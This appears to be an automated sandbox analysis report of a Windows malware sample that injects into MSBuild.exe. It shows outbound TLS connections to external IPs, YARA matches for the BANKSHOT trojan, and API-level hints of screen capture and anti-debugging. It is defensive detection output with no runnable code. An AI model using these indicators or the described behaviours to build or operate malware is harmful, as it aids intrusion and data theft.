Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49915 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00411F55

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.MSBuild.exe.43f8e0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.43dcd8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	1_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C43ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	1_2_6C43ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C47B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C47B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C47B8C0 rand_s,NtQueryVirtualMemory,	1_2_6C47B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C47B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C47B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C41F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD1FE0	0_2_00AD1FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AED0ED	0_2_00AED0ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B291C3	0_2_00B291C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1D377	0_2_00B1D377
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B154FD	0_2_00B154FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE547C	0_2_00AE547C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B18465	0_2_00B18465
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B29561	0_2_00B29561
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B17705	0_2_00B17705
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AEB888	0_2_00AEB888
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADC842	0_2_00ADC842
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE39E2	0_2_00AE39E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B29933	0_2_00B29933
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADFC40	0_2_00ADFC40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B28D2E	0_2_00B28D2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B29D1B	0_2_00B29D1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD1D65	0_2_00AD1D65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD6FEC	0_2_00AD6FEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C585	1_2_0041C585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B825	1_2_0041B825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DA53	1_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D2E3	1_2_0042D2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CE4E	1_2_0042CE4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041961D	1_2_0041961D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DE3B	1_2_0042DE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D681	1_2_0042D681
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4135A0	1_2_6C4135A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C425440	1_2_6C425440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C48545C	1_2_6C48545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C48AC00	1_2_6C48AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C455C10	1_2_6C455C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C462C10	1_2_6C462C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C48542B	1_2_6C48542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4264C0	1_2_6C4264C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C43D4D0	1_2_6C43D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41D4E0	1_2_6C41D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C456CF0	1_2_6C456CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C426C80	1_2_6C426C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4734A0	1_2_6C4734A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C47C4A0	1_2_6C47C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C42FD00	1_2_6C42FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C43ED10	1_2_6C43ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C440512	1_2_6C440512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C450DD0	1_2_6C450DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4785F0	1_2_6C4785F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C434640	1_2_6C434640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C462E4E	1_2_6C462E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C439E50	1_2_6C439E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C453E50	1_2_6C453E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C486E63	1_2_6C486E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41C670	1_2_6C41C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C465600	1_2_6C465600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C457E10	1_2_6C457E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C479E30	1_2_6C479E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4876E3	1_2_6C4876E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41BEF0	1_2_6C41BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C42FEF0	1_2_6C42FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C47E680	1_2_6C47E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C435E90	1_2_6C435E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C474EA0	1_2_6C474EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C429F00	1_2_6C429F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C457710	1_2_6C457710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41DFE0	1_2_6C41DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C446FF0	1_2_6C446FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4677A0	1_2_6C4677A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C438850	1_2_6C438850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C43D850	1_2_6C43D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C45F070	1_2_6C45F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C427810	1_2_6C427810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C45B820	1_2_6C45B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C464820	1_2_6C464820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4850C7	1_2_6C4850C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C43C0E0	1_2_6C43C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4558E0	1_2_6C4558E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4460A0	1_2_6C4460A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C43A940	1_2_6C43A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C42D960	1_2_6C42D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C46B970	1_2_6C46B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C48B170	1_2_6C48B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C455190	1_2_6C455190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C472990	1_2_6C472990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41C9A0	1_2_6C41C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C44D9B0	1_2_6C44D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C459A60	1_2_6C459A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C458AC0	1_2_6C458AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C431AF0	1_2_6C431AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C45E2F0	1_2_6C45E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C48BA90	1_2_6C48BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4122A0	1_2_6C4122A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C444AA0	1_2_6C444AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C42CAB0	1_2_6C42CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C482AB0	1_2_6C482AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C415340	1_2_6C415340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C42C370	1_2_6C42C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C45D320	1_2_6C45D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4853C8	1_2_6C4853C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41F380	1_2_6C41F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CAC60	1_2_6C4CAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C586C00	1_2_6C586C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C59AC30	1_2_6C59AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51ECD0	1_2_6C51ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BECC0	1_2_6C4BECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5EAD50	1_2_6C5EAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C58ED70	1_2_6C58ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C648D20	1_2_6C648D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C64CDC0	1_2_6C64CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C556D90	1_2_6C556D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C4DB0	1_2_6C4C4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55EE70	1_2_6C55EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5A0E20	1_2_6C5A0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CAEC0	1_2_6C4CAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C560EC0	1_2_6C560EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C546E90	1_2_6C546E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52EF40	1_2_6C52EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C582F70	1_2_6C582F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C600F20	1_2_6C600F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C6F10	1_2_6C4C6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C59EFF0	1_2_6C59EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C0FE0	1_2_6C4C0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C608FB0	1_2_6C608FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CEFB0	1_2_6C4CEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C594840	1_2_6C594840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C510820	1_2_6C510820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C54A820	1_2_6C54A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C68E0	1_2_6C5C68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F8960	1_2_6C4F8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C516900	1_2_6C516900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5DC9E0	1_2_6C5DC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F49F0	1_2_6C4F49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5809B0	1_2_6C5809B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5509A0	1_2_6C5509A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57A9A0	1_2_6C57A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C53CA70	1_2_6C53CA70
